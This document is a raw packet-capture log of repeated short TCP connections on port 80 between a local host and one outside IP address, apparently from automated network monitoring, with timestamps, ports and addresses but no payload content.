                                                                      Aug 28, 2024 11:20:04.759321928 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.759341002 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.759350061 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:04.899168968 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.032862902 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.032979965 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.038717985 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.087322950 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.174617052 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.223323107 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.297255039 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.297255039 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.297394037 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.302279949 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.302515984 CEST8060309185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.302552938 CEST8060310185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.303426027 CEST6030980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.303426027 CEST6031080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.303435087 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.307338953 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.313440084 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.660341024 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:05.665395975 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.665412903 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.665421963 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.943126917 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:05.988274097 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.074435949 CEST8060311185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.128938913 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.194295883 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.199347973 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.199414968 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.199585915 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.204353094 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.551213980 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.556274891 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.556289911 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.556301117 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.837596893 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:06.947433949 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:06.970410109 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.098427057 CEST6031180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.103322983 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.103328943 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.108154058 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.108366966 CEST8060312185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.111527920 CEST6031280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.111531973 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.111531973 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.116436005 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.459362984 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.464317083 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.464330912 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.464344025 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.765774965 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.816497087 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:07.898776054 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:07.950895071 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.119493008 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.121248007 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.124886036 CEST8060313185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.124949932 CEST6031380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.126256943 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.126321077 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.126533985 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.131632090 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.473098040 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.478269100 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.478285074 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.478296995 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.773509026 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.819375038 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:08.901086092 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:08.941447973 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.015640974 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.019360065 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.020921946 CEST8060314185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.023448944 CEST6031480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.024389982 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.027442932 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.027544975 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.032614946 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.379015923 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.384094000 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.384109974 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.384119987 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.672976971 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.739339113 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.812573910 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.863305092 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.942215919 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.942581892 CEST6031680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.947458029 CEST8060316185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.947568893 CEST6031680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.947657108 CEST6031680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.947753906 CEST8060315185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:09.947798967 CEST6031580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:09.955375910 CEST8060316185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.035986900 CEST6031680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.036199093 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.040971994 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.041042089 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.041189909 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.045928001 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.086100101 CEST8060316185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.200576067 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.207289934 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.207371950 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.207596064 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.212560892 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.397624969 CEST8060316185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.397725105 CEST6031680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.407524109 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.412374020 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.412467003 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.568238974 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.573179007 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.573204994 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.573577881 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.718194962 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.769690990 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.847218990 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.848808050 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.894545078 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:10.981400967 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:10.981497049 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.110244989 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.110244989 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.110524893 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.115437031 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.115675926 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.115675926 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.115833998 CEST8060318185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.116028070 CEST6031880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.117197037 CEST8060317185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.117271900 CEST6031780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.120513916 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.472847939 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.477852106 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.477868080 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.477880001 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.819680929 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.901839972 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.948853016 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.949178934 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:11.954252005 CEST8060319185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:11.954307079 CEST6031980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.069830894 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.074836969 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.074906111 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.075086117 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.079902887 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.425928116 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.431005001 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.431020021 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.431032896 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.732063055 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.787518024 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.862627029 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.984785080 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.987349033 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.990367889 CEST8060320185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.990552902 CEST6032080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.992418051 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:12.992564917 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.992952108 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:12.997885942 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.349617004 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.356821060 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.356834888 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.356843948 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.654134989 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.789150000 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.789206982 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.910027027 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.910413980 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.915391922 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.915457964 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.915551901 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.915642023 CEST8060321185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:13.915687084 CEST6032180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:13.921926975 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.269680977 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.274729967 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.274743080 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.274753094 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.556308031 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.641244888 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.685694933 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.816489935 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.837352991 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.837380886 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.842282057 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.842456102 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.842485905 CEST8060322185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:14.842675924 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.842710972 CEST6032280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:14.847537041 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.194129944 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.199183941 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.199198008 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.199206114 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.473155022 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.520220995 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.602977991 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.709265947 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.722646952 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.722943068 CEST6032480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.728144884 CEST8060323185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.728390932 CEST8060324185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.728559971 CEST6032480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.728609085 CEST6032380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.728683949 CEST6032480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.734179974 CEST8060324185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.864698887 CEST6032480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.865093946 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.869980097 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.870037079 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.870150089 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.875904083 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.910051107 CEST8060324185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.988930941 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.993843079 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:15.993895054 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.994082928 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:15.999119043 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.198720932 CEST8060324185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.198771000 CEST6032480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.222865105 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.227706909 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.227866888 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.347810030 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.352689028 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.352715015 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.352725029 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.505245924 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.624818087 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.633064985 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.633133888 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.757735968 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.757796049 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.879368067 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.879383087 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.879383087 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.884280920 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.884722948 CEST8060325185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.884851933 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.885015965 CEST6032580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.885143042 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.886421919 CEST8060326185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:16.887454987 CEST6032680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:16.890347958 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.238440990 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:17.243438959 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.243453026 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.243462086 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.544775963 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.599370003 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:17.679342985 CEST8060327185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.785245895 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:17.806724072 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:17.812087059 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:17.812149048 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:17.812340021 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:17.817514896 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.160535097 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.165564060 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.165575981 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.165586948 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.455106974 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.590544939 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.590609074 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.719679117 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.720813036 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.724689960 CEST8060328185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.724740028 CEST6032880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.725584984 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:18.725646973 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.726141930 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:18.730889082 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:19.083374023 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:19.088952065 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:19.088973045 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:19.088979006 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.169329882 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.169351101 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.169369936 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.169431925 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.169553995 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.169589996 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.300745964 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.301202059 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.602869987 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.602972984 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.604343891 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.604418993 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.604471922 CEST8060329185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.604526043 CEST6032980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.604695082 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.612148046 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.957222939 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:20.962212086 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.962228060 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:20.962239981 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.330626011 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.394684076 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.477871895 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.595187902 CEST6033180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.595191002 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.601510048 CEST8060331185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.601654053 CEST6033180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.602521896 CEST8060330185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.607378960 CEST6033180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.611393929 CEST6033080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.612231970 CEST8060331185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.645844936 CEST6033180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.645854950 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.651006937 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.651256084 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.651256084 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.656374931 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.698203087 CEST8060331185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.768135071 CEST6032780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.771378994 CEST6033380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.776279926 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:21.779459953 CEST6033380192.168.2.7185.106.93.197
